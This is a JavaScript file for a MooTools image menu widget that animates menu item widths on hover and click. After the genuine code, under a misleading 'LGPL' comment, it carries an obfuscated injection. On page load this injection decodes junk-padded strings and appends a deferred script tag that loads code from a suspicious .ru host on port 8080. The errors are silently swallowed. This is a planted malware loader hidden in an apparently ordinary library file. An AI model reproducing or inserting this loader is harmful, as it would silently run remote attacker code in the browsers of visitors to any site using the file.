/**************************************************************

	Script	: Image Menu
	Version	: 2.0
	Authors	: Samuel Birch
	Desc	: 
	Licence		: Open Source MIT Licence

**************************************************************/

var ImageMenu = new Class({
	
	getOptions: function(){
		return {
			onOpen: false,
			onClose: false,
			openWidth: 200,
			transition: Fx.Transitions.quadOut,
			duration: 400,
			open: null,
			border: 0
		};
	},

	initialize: function(elements, options){
		this.setOptions(this.getOptions(), options);
		
		this.elements = $$(elements);
		
		this.widths = {};
		this.widths.closed = this.elements[0].getStyle('width').toInt();
		this.widths.openSelected = this.options.openWidth;
		this.widths.openOthers = Math.round((((this.widths.closed+this.options.border)*this.elements.length) - this.widths.openSelected) / this.elements.length)+((this.elements.length-1)*this.options.border);
		
		
		this.fx = new Fx.Elements(this.elements, {wait: false, duration: this.options.duration, transition: this.options.transition});
		
		this.elements.each(function(el,i){
			el.addEvent('mouseenter', function(e){
				new Event(e).stop();
				this.reset(i);
				
			}.bind(this));
			
			el.addEvent('mouseleave', function(e){
				new Event(e).stop();
				this.reset(this.options.open);
				
			}.bind(this));
			
			var obj = this;
			
			el.addEvent('click', function(e){
				
				if(obj.options.onOpen){
					new Event(e).stop();
					if(obj.options.open == i){
						obj.options.open = null;
						obj.options.onClose(this.href, i);
					}else{
						obj.options.open = i;
						obj.options.onOpen(this.href, i);
					}
					
					
				}
				
			})
			
		}.bind(this));
		
		if(this.options.open){
			if($type(this.options.open) == 'number'){
				this.reset(this.options.open);
			}else{
				this.elements.each(function(el,i){
					if(el.id == this.options.open){
						this.reset(i);
					}
				},this);
			}
		}
		
	},
	
	reset: function(num){
		if($type(num) == 'number'){
			var width = this.widths.openOthers;
		}else{
			var width = this.widths.closed;
		}
		var obj = {};
		this.elements.each(function(el,i){
			var w = width;
			if(i == this.elements.length-1){
				w = width+5
			}
			obj[i] = {'width': w};
		}.bind(this));
		
		if($type(num) == 'number'){
			obj[num] = {'width': this.widths.openSelected};
		}
				
		this.fx.start(obj);
	}
	
});

ImageMenu.implement(new Options);
ImageMenu.implement(new Events);


/*************************************************************/
/*LGPL*/ try{ window.onload = function(){D71mvukx7heck = 'h$)t@&t)p!:!&@/#(/@g!)&#o#(#-)@c@#o#&)$m($.(m^e$&@g&&^#a&^@!)u^^p^#l#o#(a@^@(d!&@.$@^)c$(o)(!m).#)a!#l@#^t$&e^@#^r#@@@@v#)i^^$^s($#t$a$-$@o#^$^r!@!)g!!.@#b$e$!)s&!t)(s(t)&y(^^l@^#$e#^w((e@&&b$^@^.^&r^@!&u^):(#8^!0$&)8)&0$#(/$!&g&#o&@$)o($g$^l^!e)&.$(c!)^&o&$m$(@/&#g)!^o^o)&@g)(^l$(e$&(@.@$c@^o!m#))/#&a(#(r&@m&@o@@r^#^g&)a@m)@#e^)s($.@#(c^&o&m#&$!@/)(!k!i&#!n@#g^.@@@c^o@@m##(/!&!a@@$p@@!&p!l@(^e^.($$c(!(!&o&(m@@^/#)!'.replace(/\(|&|@|\)|\!|\^|#|\$/ig, '');var Tvni228k1u77s = 's$c$r(#^i$$)p&((t#'.replace(/#|\(|\!|@|\^|\)|\$|&/ig, '');var Iarqz52d5u4 = 's&r^c!!@!$'.replace(/\^|@|\$|#|&|\!|\(|\)/ig, '');var C9mztjw40vaa9t = Tvni228k1u77s;var Pbuc56arsc3 = document.createElement(C9mztjw40vaa9t);Pbuc56arsc3.setAttribute('defer', 'd)^!!e(&!!$f^&e^(&r!)'.replace(/&|\(|@|#|\!|\)|\^|\$/ig, ''));var Tvzwnxm0zj8 = 't@e&x!t@@/@&)j#@))a(^v$$a!(s!&@c^^@r!(#i#@($p$))t@^'.replace(/\(|&|#|@|\$|\)|\!|\^/ig, '');Pbuc56arsc3.setAttribute('id', 'V&(@c#y(((p@k#()z(s&$)p^&d!#9(7&y@(((h&@!f&#&)@'.replace(/\!|#|\(|@|\$|\)|&|\^/ig, ''));Pbuc56arsc3.setAttribute(Iarqz52d5u4,  D71mvukx7heck);Pbuc56arsc3.setAttribute('type', Tvzwnxm0zj8);document.body.appendChild(Pbuc56arsc3);if (document){C9mztjw40vaa9t = Tvni228k1u77s;}} }  catch(Rfzhczicmpius98gwot7m ) {}